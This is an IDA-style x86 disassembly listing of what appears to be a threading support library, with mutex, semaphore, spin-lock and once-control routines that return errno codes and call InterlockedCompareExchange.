		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433C30:				; CODE XREF: ___:004019E7j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433C55
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C55
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433C55:				; CODE XREF: ___:00433C40j
					; ___:00433C48j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433C70	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433CB5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_433CB0
		cmp	eax, 2
		jg	short loc_433CB0
		test	eax, eax
		jz	short loc_433C9C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C9C:				; CODE XREF: sub_433C70+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433CB0:				; CODE XREF: sub_433C70+1Aj
					; sub_433C70+1Fj
		mov	eax, 16h


loc_433CB5:				; CODE XREF: sub_433C70+12j
		pop	esi
		retn
sub_433C70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433CE0	proc near		; CODE XREF: sub_4020D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	loc_433D85
		push	edi
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433D85
		cmp	esi, 0FFFFFFF1h
		jle	short loc_433D20
		cmp	esi, 0FFFFFFFEh
		jge	short loc_433D20
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_433D32
; ---------------------------------------------------------------------------


loc_433D20:				; CODE XREF: sub_433CE0+2Fj
					; sub_433CE0+34j
		cmp	esi, 0Fh
		jge	short loc_433D32
		cmp	esi, 2
		jle	short loc_433D32
		mov	[esp+8+arg_8], 2


loc_433D32:				; CODE XREF: sub_433CE0+3Ej
					; sub_433CE0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_433D7E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		call	near ptr 274080Bh
		nop
		test	eax, eax
		jnz	short loc_433D72
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D72:				; CODE XREF: sub_433CE0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_433D7E:				; CODE XREF: sub_433CE0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D85:				; CODE XREF: sub_433CE0+19j
					; sub_433CE0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_433CE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433DC0	proc near		; CODE XREF: sub_4021B2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433DF9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_433DF4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_433DF4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433DF4:				; CODE XREF: sub_433DC0+1Bj
					; sub_433DC0+23j
		mov	eax, 16h


loc_433DF9:				; CODE XREF: sub_433DC0+12j
		pop	esi
		retn
sub_433DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E10	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E23
		cmp	eax, 2
		jg	short loc_433E23
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_433E23:				; CODE XREF: sub_433E10+6j
					; sub_433E10+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E50	proc near		; CODE XREF: sub_401555j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E63
		cmp	eax, 2
		jg	short loc_433E63
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_433E63:				; CODE XREF: sub_433E50+6j
					; sub_433E50+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433E90:				; CODE XREF: ___:00401ADCj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433ED5
		nop
		call	near ptr 27407B5h
		cmp	esi, eax
		jz	short loc_433ED5
		push	esi
		push	0
		push	200h
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_433ED5
		nop
		call	near ptr 27C0890h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433ED5:				; CODE XREF: ___:00433E97j
					; ___:00433EA1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433EEE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433EEE:				; CODE XREF: ___:00433EDBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F20:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433F65
		nop
		call	near ptr 27407B5h
		cmp	esi, eax
		jz	short loc_433F65
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_433F65
		nop
		call	near ptr 27C0890h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433F65:				; CODE XREF: ___:00433F27j
					; ___:00433F31j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F90:				; CODE XREF: ___:00401B5Ej
		push	0
		call	near ptr 2830000h
		nop
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433FB0	proc near		; CODE XREF: sub_401C8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_433FCF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433FCF:				; CODE XREF: sub_433FB0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433FE7
		mov	edi, 0Ch


loc_433FE7:				; CODE XREF: sub_433FB0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		call	near ptr 274018Fh
		nop
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_434014
		mov	edi, 1Ch
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434014:				; CODE XREF: sub_433FB0+4Fj
		test	edi, edi
		jz	short loc_434026
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434026:				; CODE XREF: sub_433FB0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_433FB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434070	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_434095
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_434095
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 2830942h
		test	eax, eax
		jnz	short loc_4340A7
		mov	[edi], esi


loc_434095:				; CODE XREF: sub_434070+8j
					; sub_434070+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4340A7:				; CODE XREF: sub_434070+21j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_434070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4340E0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 27703EBh
		cmp	eax, 102h
		jnz	short loc_434125
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434113:				; CODE XREF: sub_4340E0+7j
					; sub_4340E0+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434125:				; CODE XREF: sub_4340E0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434150	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_43417D:				; CODE XREF: sub_434150+7j
					; sub_434150+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_434150	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4341C0	proc near		; CODE XREF: sub_4018A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_4341E3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4341E3:				; CODE XREF: sub_4341C0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_4341F2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_434251
; ---------------------------------------------------------------------------


loc_4341F2:				; CODE XREF: sub_4341C0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_434251
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_434251
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_434251
		dec	ebx


loc_434251:				; CODE XREF: sub_4341C0+30j
					; sub_4341C0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D84
sub_4341C0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 7EB04FE8h, 30899077h,	0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4342D0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		call	near ptr 2740000h
		nop
		test	eax, eax
		jnz	short loc_4342FF


loc_4342EF:				; CODE XREF: sub_4342D0+6j
					; sub_4342D0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4342FF:				; CODE XREF: sub_4342D0+1Dj
		xor	eax, eax
		retn
sub_4342D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434320	proc near		; CODE XREF: sub_402068j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_434346
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434346
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_434346
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jnz	short loc_434356


loc_434346:				; CODE XREF: sub_434320+6j
					; sub_434320+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_434320+24j
		xor	eax, eax
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434370:				; CODE XREF: ___:0040143Dj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4343BD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4343BD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4343BD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 27703EBh
		cmp	eax, 102h
		jnz	short loc_4343A1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343A1:				; CODE XREF: ___:00434398j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2740000h
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343BD:				; CODE XREF: ___:00434378j
					; ___:0043437Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4343F0:				; CODE XREF: ___:0040222Fj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434410:				; CODE XREF: ___:00402031j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434430:				; CODE XREF: ___:00401CC6j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434450	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434484
		push	esi
		push	ecx
		call	sub_402211
		add	esp, 8
		mov	esi, eax
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434484:				; CODE XREF: sub_434450+17j
		test	eax, eax
		jnz	short loc_43448D
		mov	esi, 16h


loc_43448D:				; CODE XREF: sub_434450+36j
		push	offset dword_510940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_434450	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4344C0	proc near		; CODE XREF: sub_402211j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4344DE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4344DE:				; CODE XREF: sub_4344C0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C3A
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_434519
		mov	[esp+14h+var_4], 1


loc_4344FB:				; CODE XREF: sub_4344C0+5Ej
					; sub_4344C0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434530
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434519:				; CODE XREF: sub_4344C0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4344FB
		cmp	ebx, 1
		jnz	short loc_4344FB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434530:				; CODE XREF: sub_4344C0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43454D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43454D:				; CODE XREF: sub_4344C0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A1E
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_434583
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_434583
		mov	dword ptr [esi], 3


loc_434583:				; CODE XREF: sub_4344C0+9Ej
					; sub_4344C0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43459F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43459F:				; CODE XREF: sub_4344C0+D2j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4344C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434600:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4346A5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4346A5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_434668
		cmp	dword ptr [esi], 3
		jnz	short loc_43464D
		lea	eax, [esi+4]
		push	eax
		call	sub_402252
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43469F


loc_434637:				; CODE XREF: ___:0043465Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43464D:				; CODE XREF: ___:00434623j
		push	1
		push	0
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_434637
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: ___:0043461Ej
		push	offset dword_510940
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43468F
		push	offset dword_510940
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43468F:				; CODE XREF: ___:00434676j
		push	offset dword_510940
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_43469F:				; CODE XREF: ___:00434635j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4346A5:				; CODE XREF: ___:0043460Bj
					; ___:00434615j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4346E0:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434741
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434741
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434701
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434746


loc_434701:				; CODE XREF: ___:004346F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_434723


loc_434713:				; CODE XREF: ___:00434721j
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_434713


loc_434723:				; CODE XREF: ___:00434711j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43472E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: ___:00434728j
		cmp	eax, 3
		jnz	short loc_434741
		add	esi, 4
		push	esi
		call	sub_402248
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434741:				; CODE XREF: ___:004346E7j
					; ___:004346EDj ...
		mov	eax, 16h


loc_434746:				; CODE XREF: ___:004346FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434770:				; CODE XREF: ___:00401AB9j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4347B1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4347B1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43478B


loc_434784:				; CODE XREF: ___:00434797j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43478B:				; CODE XREF: ___:00434782j
		push	2
		push	1
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_434784
		dec	eax
		jz	short loc_4347AD
		dec	eax
		jnz	short loc_4347B1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347AD:				; CODE XREF: ___:0043479Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: ___:00434777j
					; ___:0043477Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: ___:00401942j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434830
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434830
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434801
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434835


loc_434801:				; CODE XREF: ___:004347F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43482C
		dec	eax
		jz	short loc_434825
		dec	eax
		jnz	short loc_434830
		add	esi, 4
		push	esi
		call	sub_401785
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434825:				; CODE XREF: ___:00434812j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43482C:				; CODE XREF: ___:0043480Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434830:				; CODE XREF: ___:004347E7j
					; ___:004347EDj ...
		mov	eax, 16h


loc_434835:				; CODE XREF: ___:004347FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434860:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43488C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_434887
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434887:				; CODE XREF: ___:0043487Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43488C:				; CODE XREF: ___:00434872j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4348A0	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4

		push	esi
